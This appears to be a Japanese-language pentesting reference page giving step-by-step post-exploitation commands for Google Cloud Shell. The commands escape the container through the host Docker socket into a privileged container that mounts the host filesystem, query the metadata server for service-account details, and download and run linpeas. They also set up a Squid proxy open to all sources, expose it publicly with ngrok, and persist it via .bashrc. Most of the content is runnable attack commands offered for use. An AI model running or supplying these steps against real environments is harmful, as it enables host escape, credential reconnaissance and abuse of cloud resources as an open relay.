# GCP - Cloud Shell ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## Cloud Shell Cloud Shellに関する詳細情報は、以下を確認してください: {{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} ### コンテナエスケープ Google Cloud Shellはコンテナ内で実行されているため、次の操作を行うことで**ホストに簡単にエスケープ**できます: ```bash sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock start escaper sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh ``` これはGoogleによって脆弱性とは見なされていませんが、その環境で何が起こっているかのより広い視野を提供します。 さらに、ホストからサービスアカウントトークンを見つけることができることに注意してください: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` 次のスコープで: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write ``` メタデータをLinPEASで列挙する: ```bash cd /tmp wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh sh linpeas.sh -o cloud ``` [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions)をService Accountのトークンで使用した後、**権限は発見されませんでした**... ### プロキシとして使用する Google Cloud Shellインスタンスをプロキシとして使用する場合は、以下のコマンドを実行する必要があります(または.bashrcファイルに挿入します): ```bash sudo apt install -y squid ``` **squid.conf** ファイルを以下の設定で作成します: ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ``` **squid.conf**ファイルを**/etc/squid**にコピーします。 ```bash sudo cp squid.conf /etc/squid ``` 最後に、squidサービスを実行します: ```bash sudo service squid start ``` ngrokを使用してプロキシを外部から利用可能にします: ```bash ./ngrok tcp 3128 ``` tcp:// URLをコピーした後、ブラウザからプロキシを実行したい場合は、tcp://部分とポートを削除し、ポートをブラウザのプロキシ設定のポートフィールドに入力することをお勧めします(squidはHTTPプロキシサーバーです)。 起動時のより良い使用のために、.bashrcファイルには以下の行を含めるべきです: ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ``` 指示は[https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)からコピーされました。そのページで、Cloud Shellであらゆる種類のソフトウェア(データベースやWindowsさえも)を実行するための他のクレイジーなアイデアを確認してください。 {{#include ../../../banners/hacktricks-training.md}}